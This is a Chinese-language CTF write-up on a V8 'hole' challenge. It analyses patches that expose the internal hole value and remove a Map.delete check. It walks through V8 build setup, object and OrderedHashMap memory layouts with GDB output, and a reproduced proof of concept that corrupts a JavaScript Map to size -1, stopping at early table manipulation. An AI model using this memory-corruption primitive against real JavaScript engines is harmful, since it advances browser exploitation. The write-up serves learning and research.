0%

V8环境搭建+JavaScript pwn+hole attack

hole 复现

1
2
3
4
5
There's a hole in the program ?

Well I'm sure it's not that of a big deal, after all it's just a small hole that won't do any damage right ?

... Right 😨 ?
  • 提示信息如下:
1
2
3
4
5
6
7
8
9
➜  hole cat README.txt   
* Based on git commit hash: 63cb7fb817e60e5633fb622baf18c59da7a0a682
* args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

* It is recommended that you solve this challenge on a Debian Linux 11.5.0 machine.%
  • 两个 patch 文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 6e0cd408e7..aafdfb8544 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}

+BUILTIN(ArrayHole){
+ uint32_t len = args.length();
+ if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
+ return ReadOnlyRoots(isolate).the_hole_value();
+}
+
namespace {

V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index 78b0229011..55aaaa03df 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
"Map.prototype.delete");

// This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0e98586f7f..28a46f2856 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -413,6 +413,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel) \
+ CPP(ArrayHole) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 79bdfbddcf..c42ad4c789 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtin::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtin::kArrayHole:
+ return Type::Oddball();

// ArrayBuffer functions.
case Builtin::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 9040e95202..a77333287a 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtin::kArrayPrototypeFindIndex, 1, false);
SimpleInstallFunction(isolate_, proto, "lastIndexOf",
Builtin::kArrayPrototypeLastIndexOf, 1, false);
+ SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
0, false);
SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
  • 注册了目标方法,并且给出了一个网页 crbug.com/1263462
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
index c2571ef3a01..e4f27cfdca6 100644
--- a/src/d8/d8-posix.cc
+++ b/src/d8/d8-posix.cc
@@ -734,6 +734,7 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
}

void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
+/*
if (options.enable_os_system) {
os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
}
@@ -748,6 +749,7 @@ void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
FunctionTemplate::New(isolate, MakeDirectory));
os_templ->Set(isolate, "rmdir",
FunctionTemplate::New(isolate, RemoveDirectory));
+*/
}

} // namespace v8
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index c6bacaa732f..63b3c9c27e8 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3266,6 +3266,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+ /*
global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
@@ -3284,6 +3285,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
FunctionTemplate::New(isolate, ExecuteFile));
+ */
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
@@ -3456,6 +3458,7 @@ Local<FunctionTemplate> Shell::CreateSnapshotTemplate(Isolate* isolate) {
}
Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) {
Local<ObjectTemplate> d8_template = ObjectTemplate::New(isolate);
+ /*
{
Local<ObjectTemplate> file_template = ObjectTemplate::New(isolate);
file_template->Set(isolate, "read",
@@ -3538,6 +3541,7 @@ Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) {
Local<Signature>(), 1));
d8_template->Set(isolate, "serializer", serializer_template);
}
+ */
return d8_template;
}
  • 注释了部分源码(system 没了)

环境搭建

1
2
3
4
5
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 63cb7fb817e60e5633fb622baf18c59da7a0a682
git apply add_hole.patch

在 v8 引擎的6.5版本以上,google 采用了 GN+Ninja 的编译组合,因此需要以下工具来安装依赖:

安装 depot_tools 工具集:

1
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
  • 然后将 depot_tools 加入你的 PATH 环境变量中(其实也可以不添加)
1
2
3
sudo gedit /etc/profile.d/yhellow.sh
---------------------------------------
export PATH="$PATH:/home/yhellow/tools/depot_tools"
  • 取得 depot_tools 之后,需要取得大量编译依赖,google 提供了一个比较方便的工具 gclient 来获取依赖
  • 然后在 V8 的目录中执行以下代码安装依赖:(注意:V8 的路径不能有中文)
1
2
3
4
export PATH="$PATH:/home/yhellow/tools/depot_tools"
gclient config https://webrtc.googlesource.com/src.git # 最好加上这个,不然会很慢
export DEPOT_TOOLS_UPDATE=0
gclient sync

初始化以及编译:

  • v8 使用 Ninja 作为编译工具,同时使用 GN 来生成 .ninja 文件
  • 使用 v8gen 可以生成不同平台的编译配置文件:
1
./tools/dev/v8gen.py x64.release

out.gn/x64.release/args.gn 中添加如下命令:(增添调试信息)

1
2
symbol_level = 2
v8_enable_object_print = true

使用 ninja 开始编译:

1
ninja -C ./out.gn/x64.release d8

可以用 find 命令来查找可执行文件的位置:

1
➜  v8 git:(63cb7fb817) ✗ find ./ -name d8 -type f

另外,V8还给 GDB 提供了一些工具,可以把以下这行命令添加到 GDB 的 .gdbinit 中:

1
source /home/yhellow/tools/v8/v8/tools/gdbinit

参考:如何用GN编译V8引擎

patch 分析

第2个 patch 就是注释了源码的一些功能(暂时不用管)

第1个 patch 应该就是漏洞利用的关键了:

1
2
case Builtin::kArrayHole:
return Type::Oddball();
  • 这里规定 Builtin::kArrayHole 返回一个 Oddball 引用类型
  • oddball 是数据类型的引用,表示在 V8 中怎么调用相关类型(null undefined true false 合称为 oddball
1
SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
  • SimpleInstallFunction 每执行一次就安装一个 API 到 isolate_
  • 这里相当于把符号 “hole” 和函数 Builtin::kArrayHole 绑定到一起了
1
// CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
  • 在 patch 中注释了一个 CSA_CHECK
  • CodeStubAssembler,V8 的一个组件,该组件定义了一种在 TurboFan 后端构建的可移植汇编语言
1
2
3
4
5
BUILTIN(ArrayHole){
uint32_t len = args.length();
if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
return ReadOnlyRoots(isolate).the_hole_value();
}
  • Array 定义了一个 Hole 方法,获取 Hole 方法的参数
    • 当参数个数大于“1”时,返回 undefined_value 未知类型
    • 当参数个数不大于“1”时,返回 Type::Oddball() 引用类型
  • Built-in Functions(Builtin)作为V8的内建功能,实现了很多重要功能
  • Builtin 是编译好的内置代码块(chunk),存储在 snapshot_blob.bin 文件中,V8 启动时以反序列化方式加载,运行时可以直接调用

简单来说,Hole 方法就是返回一个 Oddball 引用:

1
2
3
4
var c = [];

console.log(typeof(c))
console.log(typeof(c.hole()))
1
2
3
➜  hole ./d8 ./exp.js
object
undefined

先学习这篇文章,了解 V8 的相关知识和常用利用手段:

标记指针 Tagged Pointer

Tagged Pointer 是一个指针(内存地址),它具有与其关联的附加数据:

  • 大多数体系结构都是字节可寻址的(最小的可寻址单元是字节),但是某些类型的数据通常会与数据的大小对齐,这种差异使指针的一些最低有效位未被使用,它们可以用于标签-通常用作位字段(每个位是一个单独的标签),只要使用该指针的代码在访问前将这些位屏蔽掉即可
  • 相反,在某些操作系统中,虚拟地址的宽度比整个体系结构的宽度窄,从而使最高有效位可用于标签(注意,某些处理器特别禁止在处理器级别使用此类标记指针,尤其是 x86-64,这要求操作系统使用规范形式的地址,且最高有效位全为0或全为1)

JS 对象内存信息布局

可以直接使用 GDB 来查看内存布局:

1
2
3
4
5
6
7
8
9
pwndbg> set args --allow-natives-syntax --shell ./exp.js 
pwndbg> run
Starting program: /home/yhellow/tools/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f16e408e700 (LWP 6736)]
[New Thread 0x7f16e388d700 (LWP 6737)]
[New Thread 0x7f16e308c700 (LWP 6738)]
V8 version 11.0.0 (candidate)
  • 测试用 JavaScript 代码如下:
1
2
3
4
5
6
7
8
9
10
function Foo(properties, elements) {
for (let i = 0; i < elements; i++) {this[i] = `element${i}`}
for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}
}

const foo = new Foo(12, 12)

for (const key in foo) {
console.log(`key:${key}, value:${foo[key]}`)
}
  • 尝试在 GDB 中打印信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
d8> function Foo(properties, elements) {for (let i = 0; i < elements; i++) {this[i] = `element${i}`}for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}}
undefined
d8> const foo = new Foo(12, 12)
undefined
d8> %DebugPrint(foo);
DebugPrint: 0x1dfe0004d74d: [JS_OBJECT_TYPE]
- map: 0x1dfe0019b715 <Map[52](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5>
- elements: 0x1dfe0004d795 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x1dfe0004de81 <PropertyArray[3]>
- All own properties (excluding elements): {
0x1dfe0019b30d: [String] in OldSpace: #property0: 0x1dfe0004d8dd <String[9]: "property0"> (const data field 0), location: in-object
0x1dfe0019b371: [String] in OldSpace: #property1: 0x1dfe0004d945 <String[9]: "property1"> (const data field 1), location: in-object
0x1dfe0019b3b1: [String] in OldSpace: #property2: 0x1dfe0004d99d <String[9]: "property2"> (const data field 2), location: in-object
0x1dfe0019b3f1: [String] in OldSpace: #property3: 0x1dfe0004da01 <String[9]: "property3"> (const data field 3), location: in-object
0x1dfe0019b431: [String] in OldSpace: #property4: 0x1dfe0004da71 <String[9]: "property4"> (const data field 4), location: in-object
0x1dfe0019b471: [String] in OldSpace: #property5: 0x1dfe0004daed <String[9]: "property5"> (const data field 5), location: in-object
0x1dfe0019b4b1: [String] in OldSpace: #property6: 0x1dfe0004db75 <String[9]: "property6"> (const data field 6), location: in-object
0x1dfe0019b5cd: [String] in OldSpace: #property7: 0x1dfe0004dc09 <String[9]: "property7"> (const data field 7), location: in-object
0x1dfe0019b63d: [String] in OldSpace: #property8: 0x1dfe0004dce1 <String[9]: "property8"> (const data field 8), location: in-object
0x1dfe0019b67d: [String] in OldSpace: #property9: 0x1dfe0004dd99 <String[9]: "property9"> (const data field 9), location: in-object
0x1dfe0019b6bd: [String] in OldSpace: #property10: 0x1dfe0004ddc9 <String[10]: "property10"> (const data field 10), location: properties[0]
0x1dfe0019b6fd: [String] in OldSpace: #property11: 0x1dfe0004dead <String[10]: "property11"> (const data field 11), location: properties[1]
}
- elements: 0x1dfe0004d795 <FixedArray[17]> {
0: 0x1dfe0004d781 <String[8]: "element0">
1: 0x1dfe0004d7e1 <String[8]: "element1">
2: 0x1dfe0004d7f5 <String[8]: "element2">
3: 0x1dfe0004d809 <String[8]: "element3">
4: 0x1dfe0004d81d <String[8]: "element4">
5: 0x1dfe0004d831 <String[8]: "element5">
6: 0x1dfe0004d845 <String[8]: "element6">
7: 0x1dfe0004d859 <String[8]: "element7">
8: 0x1dfe0004d86d <String[8]: "element8">
9: 0x1dfe0004d881 <String[8]: "element9">
10: 0x1dfe0004d895 <String[9]: "element10">
11: 0x1dfe0004d8ad <String[9]: "element11">
12-16: 0x1dfe00002459 <the_hole>
}
0x1dfe0019b715: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 52
- inobject properties: 10
- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: invalid
- stable_map
- back pointer: 0x1dfe0019b6d5 <Map[52](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x1dfe0019b635 <Cell value= 0>
- instance descriptors (own) #12: 0x1dfe0004dde1 <DescriptorArray[12]>
- prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5>
- constructor: 0x1dfe0019a005 <JSFunction Foo (sfi = 0x1dfe00199f45)>
- dependent code: 0x1dfe000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 6

{0: "element0", 1: "element1", 2: "element2", 3: "element3", 4: "element4", 5: "element5", 6: "element6", 7: "element7", 8: "element8", 9: "element9", 10: "element10", 11: "element11", property0: "property0", property1: "property1", property2: "property2", property3: "property3", property4: "property4", property5: "property5", property6: "property6", property7: "property7", property8: "property8", property9: "property9", property10: "property10", property11: "property11"}
  • 先打印对象 JS_OBJECT_TYPE 的信息:
1
2
pwndbg> x/4xw 0x1dfe0004d74d-1 /* JS_OBJECT_TYPE */
0x1dfe0004d74c: 0x0019b715 0x0004de81 0x0004d795 0x0004d8dd
  • 前3个数据分别为 map properties elements 的地址低4字节
  • 注意:
    • V8 使用了标记指针,因此在打印前需要先把指针还原
    • V8 使用了指针压缩的技术,仅在内存中存储指针的下部32位,并将基本高32位存储在特定寄存器中

指针 propertieselements 与 V8 的两种属性有关:

1
2
3
4
function Foo(properties, elements) {
for (let i = 0; i < elements; i++) {this[i] = `element${i}`}
for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}
}
  • 第一个 for 循环定义了 elements 个数组索引属性(Array-indexed Properties)
  • 第二个 for 循环定义了 properties 个命名属性(Named Properties)

V8 遍历时一般会先遍历前者,前后两者在底层存储在两个单独的数据结构中,分别用 elementsproperties 两个指针指向它们

1669786173114

  • PS:V8 有一种策略,如果命名属性少于等于10个时,命名属性会直接存储到对象本身,而无需先通过 properties 指针查询(直接存储到对象本身的属性被称为对象内属性 In-object Properties)
1
2
3
pwndbg> x/8xw 0x1dfe0004d795-1 /* elements */
0x1dfe0004d794: 0x00002231 0x00000022 0x0004d781 0x0004d7e1
0x1dfe0004d7a4: 0x0004d7f5 0x0004d809 0x0004d81d 0x0004d831
  • 从第3个指针开始,就是:[element0element11]
1
2
3
pwndbg> x/8xw 0x1dfe0004de81-1 /* properties */
0x1dfe0004de80: 0x00002d19 0x00000006 0x0004ddc9 0x0004dead
0x1dfe0004de90: 0x000023e1 0x00002715 0xd12b3982 0x0000000a
  • 从第3个指针开始,就是:[property10property11](前10个都是对象内属性)

对象的映射 map 是一种特殊的属性,其中包含以下信息:

  • 对象的动态类型,即 String Uint8Array HeapNumber ...
  • 对象的大小(以字节为单位)
  • 对象的属性及其存储位置
  • 数组元素的类型,例如未装箱的双精度或标记的指针
  • 对象的原型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x1dfe0019b715: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 52
- inobject properties: 10
- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: invalid
- stable_map
- back pointer: 0x1dfe0019b6d5 <Map[52](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x1dfe0019b635 <Cell value= 0>
- instance descriptors (own) #12: 0x1dfe0004dde1 <DescriptorArray[12]>
- prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5>
- constructor: 0x1dfe0019a005 <JSFunction Foo (sfi = 0x1dfe00199f45)>
- dependent code: 0x1dfe000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 6
  • Map 将提供属性值在相应区域中的确切位置

本质上,映射定义了应如何访问对象:

  • 对于对象数组:存储的是每个对象的地址
  • 对于浮点数组:以浮点数形式存储数值

如果我们可以修改 Map 中某些变量的数据类型,就可以达到类型混淆的效果

JavaScript Map 对象原理

先随便打印一个 Map 的内存信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(m)
DebugPrint: 0x21100004b9d1: [JSMap]
- map: 0x2110001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x211000186431 <Object map = 0x211000186319>
- elements: 0x211000002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x21100004b9e1 <OrderedHashMap[17]>
- properties: 0x211000002259 <FixedArray[0]>
- All own properties (excluding elements): {}
0x2110001862f1: [Map] in OldSpace
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2110000023e1 <undefined>
- prototype_validity cell: 0x2110001443cd <Cell value= 1>
- instance descriptors (own) #0: 0x2110000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x211000186431 <Object map = 0x211000186319>
- constructor: 0x2110001862bd <JSFunction Map (sfi = 0x2110001557b9)>
- dependent code: 0x2110000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]
  • 和对象 JS_OBJECT_TYPE 相比,JSMap 多了一个 table 属性,这个属性是一个 OrderedHashMap 顺序哈希表

Map 是基于哈希表实现的,但哈希表不提供任何迭代顺序保证,而 ES6 规范要求实现在迭代 Map 时保持插入顺序,因此,“经典”算法不适合 Map

V8 使用了确定性哈希表算法(顺序哈希表),以下显示了此算法使用的主要数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
interface Entry { /* buckets */
key: any;
value: any;
chain: number;
}

interface CloseTable { /* table */
hashTable: number[];
dataTable: Entry[];
nextSlot: number;
size: number;
}
  • CloseTable 接口代表了哈希表,包含:
    • hashTable:哈希表数组(大小等于“存储桶”的数量)
    • dataTable:包含按插入顺序排列的条目
  • Entry 接口代表“存储桶”
    • key/value:键值对
    • chain:链属性(指向存储 Entry 的下一个条目)
    • nextSlot:用于索引到 dataTable 中

具体的操作如下:

  • 每次将新条目插入表中时,它都会存储在 nextSlot 索引下的 dataTable 数组中(插入的条目将成为新的尾部)
  • 当一个条目从哈希表 hashTable 中删除时,它也会从数据表 dataTable 中删除,但已删除的条目仍会占用数据表中的空间(用 hole 进行填充)
  • 当一个表充满了条目(包括存在的和已删除的)时,需要用更大(或更小)的大小重新散列(重建)

使用这种方法,对 Map 进行迭代只需遍历数据表即可,这保证了迭代的插入顺序要求

测试案例:

1
2
3
4
map = new Map();
map.set(1, 'a');
map.set(2, 'b');
map.delete(1);
  • 先执行两个 set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
map.set(1, 'a');
map.set(2, 'b');
---------------------------------------
pwndbg> job 0x1d830004b9d9
0x1d830004b9d9: [OrderedHashMap]
- FixedArray length: 17
- elements: 2 /* 元素个数 */
- deleted: 0 /* 删除个数 */
- buckets: 2 /* 已使用的存储桶个数 */
- capacity: 4 /* map容量(capacity/2就是当前可以容纳的最大bucket数目) */
- buckets: { /* 存储桶 */
0: 0
1: 1
}
- elements: { /* 元素 */
0: 1 -> 0x1d830000407d <String[1]: #a>
1: 2 -> 0x1d830000408d <String[1]: #b>
}
  • 然后执行一个 delete
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
map.delete(1);
---------------------------------------
pwndbg> job 0x1d830004b9d9
0x1d830004b9d9: [OrderedHashMap]
- FixedArray length: 17
- elements: 1
- deleted: 1
- buckets: 2
- capacity: 4
- buckets: { /* 存储桶不减少 */
0: 0
1: 1
}
- elements: { /* 元素减少 */
1: 2 -> 0x1d830000408d <String[1]: #b>
}
  • 对象 JSMap 的详细信息如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(map);  
DebugPrint: 0x1d830004b9c9: [JSMap]
- map: 0x1d83001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1d8300186431 <Object map = 0x1d8300186319>
- elements: 0x1d8300002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x1d830004b9d9 <OrderedHashMap[17]>
- properties: 0x1d8300002259 <FixedArray[0]>
- All own properties (excluding elements): {}
0x1d83001862f1: [Map] in OldSpace
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1d83000023e1 <undefined>
- prototype_validity cell: 0x1d83001443cd <Cell value= 1>
- instance descriptors (own) #0: 0x1d83000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x1d8300186431 <Object map = 0x1d8300186319>
- constructor: 0x1d83001862bd <JSFunction Map (sfi = 0x1d83001557b9)>
- dependent code: 0x1d83000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]
  • 打印 table 属性:
1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xw 0x1d830004b9d9-1
0x1d830004b9d8: 0x00002c29 0x00000022 0x00000002 0x00000002
0x1d830004b9e8: 0x00000004 0x00000000 0x00000002 0x00002459
0x1d830004b9f8: 0x00002459 0xfffffffe 0x00000004 0x0000408d
0x1d830004ba08: 0xfffffffe 0x000023e1 0x000023e1 0x000023e1
0x1d830004ba18: 0x000023e1 0x000023e1 0x000023e1 0x000025d5
pwndbg> job 0x00002459+0x1d8300000000
0x1d8300002459: [Oddball] in ReadOnlySpace: #hole
pwndbg> job 0x000023e1+0x1d8300000000
0x1d83000023e1: [Oddball] in ReadOnlySpace: #undefined
  • 整数在 V8 中表示为前31位,最后一位不使用(这就是“0x1”表示为“0x2”,“0xfffffffe”表示“-1”的原因)
  • hole 在本程序中用 0x00002459 表示
  • undefined 在本程序中用 0x000023e1 表示

记录 OrderedHashMap 的一些重要元数据的粗略布局:

1
2
3
4
5
6
7
8
9
table + 0x10 => Map capacity (0x4) 
table + 0x14 => Bucket-0 data /* 0 */
table + 0x18 => Bucket-1 data /* 1 */
table + 0x1c => Entry-0 key (0x00002459) /* #hole */
table + 0x20 => Entry-0 value (0x00002459) /* #hole */
table + 0x24 => Entry-0 next_ptr
table + 0x28 => Entry-1 key (0x00000004) /* 2 */
table + 0x2c => Entry-1 value (0x0000408d) /* #b */
table + 0x30 => Entry-1 next_ptr
  • 先预留 0x4 * capacity/2 的空间用于填充 Bucket data(存储桶数据)
  • 之后的空间会以 0x4 * 3 为单位来储存各个 Entry 信息
  • delete 方法删除的区域需要用 hole 填充
  • 而之后的空间则被 undefined 填充

JavaScript SandBox & JIT

对于 JavaScript 来说,沙箱并非传统意义上的沙箱,它只是一种语法上的 Hack 写法,沙箱是一种安全机制,把一些不信任的代码运行在沙箱之内,使其不能访问沙箱之外的代码

当需要解析或者执行不可信的 JavaScript 代码时,需要隔离被执行代码的执行环境,并对执行代码中可访问对象进行限制,通常开始可以把 JavaScript 中处理模块依赖关系的闭包称之为沙箱

我们大致可以把沙箱的实现总体分为两个部分:

  • 构建一个闭包环境
  • 模拟原生浏览器对象

一个重要的保护是,它将所有外部指针转换为查找表的索引,例如指向 Web 程序集 RWX 页的指针和 ArrayBuffer 后备存储的指针,因此,我们不能使用普通方法来实现任意读写

而 JavaScript JIT(Just-In-Time)则是另一种机制:

JIT compiler 混合了编译器和解释器的优点,大幅提高了 JavaScript 的运行速度:

  • 一开始只是简单的使用解释器执行,当某一行代码被执行了几次,这行代码会被打上 Warm 的标签,当某一行代码被执行了很多次,这行代码会被打上 Hot 的标签
  • 被打上 Warm 标签的代码会被传给 Baseline Compiler 编译且储存,同时按照行数和变量类型被索引
  • 被打上 Hot 标签的代码会被传给 Optimizing compiler,这里会对这部分带码做更优化的编译
  • 当发现执行的代码命中索引,会直接取出编译后的代码执行,从而不需要重复编译已经编译过的代码

利用 JIT 机制就可以绕过 SandBox

学习相关 POC

在 path 中给出了一篇文章 crbug.com/1263462 先学习它

这篇文章大概讲述了 V8 对 TheHole 的特殊处理(具体怎么处理的暂时不清楚),利用这个特性,可以对 Map 进行破坏

POC 如下:

1
2
3
4
5
6
7
8
var map = new Map();
/* 由于对孔值的特殊处理,这最终将 Map 的大小设置为"-1" */
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
/* print(map.size); Size is now -1 */

先查看这个 hole 和题目中的 hole 方法有什么关系:

1
2
3
4
void Isolate::clear_pending_exception() {
DCHECK(!thread_local_top()->pending_exception_.IsException(this));
thread_local_top()->pending_exception_ = ReadOnlyRoots(this).the_hole_value();
}
  • the_hole_value 在本题的 path 中也出现过
1
2
%DebugPrint(hole); 
DebugPrint: 0x37c70800242d: [Oddball] in ReadOnlySpace: #hole
  • 使用 DebugPrint 可以发现 hole 是 Oddball 引用类型

具体的细节暂时不用管,我们只需要知道这个 POC 可以破坏 Map 就行了

入侵思路

先依葫芦画瓢把 POC 中的利用复刻一份:

1
2
3
4
5
6
7
8
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
print(map.size);
1
2
➜  x64.release git:(63cb7fb817) ✗ ./d8 ./exp.js
-1
  • 成功将 Map 进行了破坏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(m);
DebugPrint: 0x14080004ba05: [JSMap]
- map: 0x1408001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x140800186431 <Object map = 0x140800186319>
- elements: 0x140800002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x14080004baad <OrderedHashMap[17]>
- properties: 0x140800002259 <FixedArray[0]>
- All own properties (excluding elements): {}
0x1408001862f1: [Map] in OldSpace
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1408000023e1 <undefined>
- prototype_validity cell: 0x1408001443cd <Cell value= 1>
- instance descriptors (own) #0: 0x1408000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x140800186431 <Object map = 0x140800186319>
- constructor: 0x1408001862bd <JSFunction Map (sfi = 0x1408001557b9)>
- dependent code: 0x1408000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]
  • 打印对应的 table:(此时 Map 已经被破坏,在 Map.size == -1 的情况下,不能使用 job 命令)
1
2
3
4
5
6
pwndbg> x/20xw 0x14080004baad-1
0x14080004baac: 0x00002c29 0x00000022 0xfffffffe 0x00000000
0x14080004babc: 0x00000004 0xfffffffe 0xfffffffe 0x000023e1
0x14080004bacc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004badc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004baec: 0x000023e1 0x000023e1 0x000023e1 0x000025d5
  • 先执行一次 m.set(0x8,-1) 后再次打印 table:(现在可以使用 job 命令)
1
2
3
4
5
6
pwndbg> x/20xw 0x14080004baad-1
0x14080004baac: 0x00002c29 0x00000022 0x00000000 0x00000000
0x14080004babc: 0x00000010 0xfffffffe 0xfffffffe 0x000023e1
0x14080004bacc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004badc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
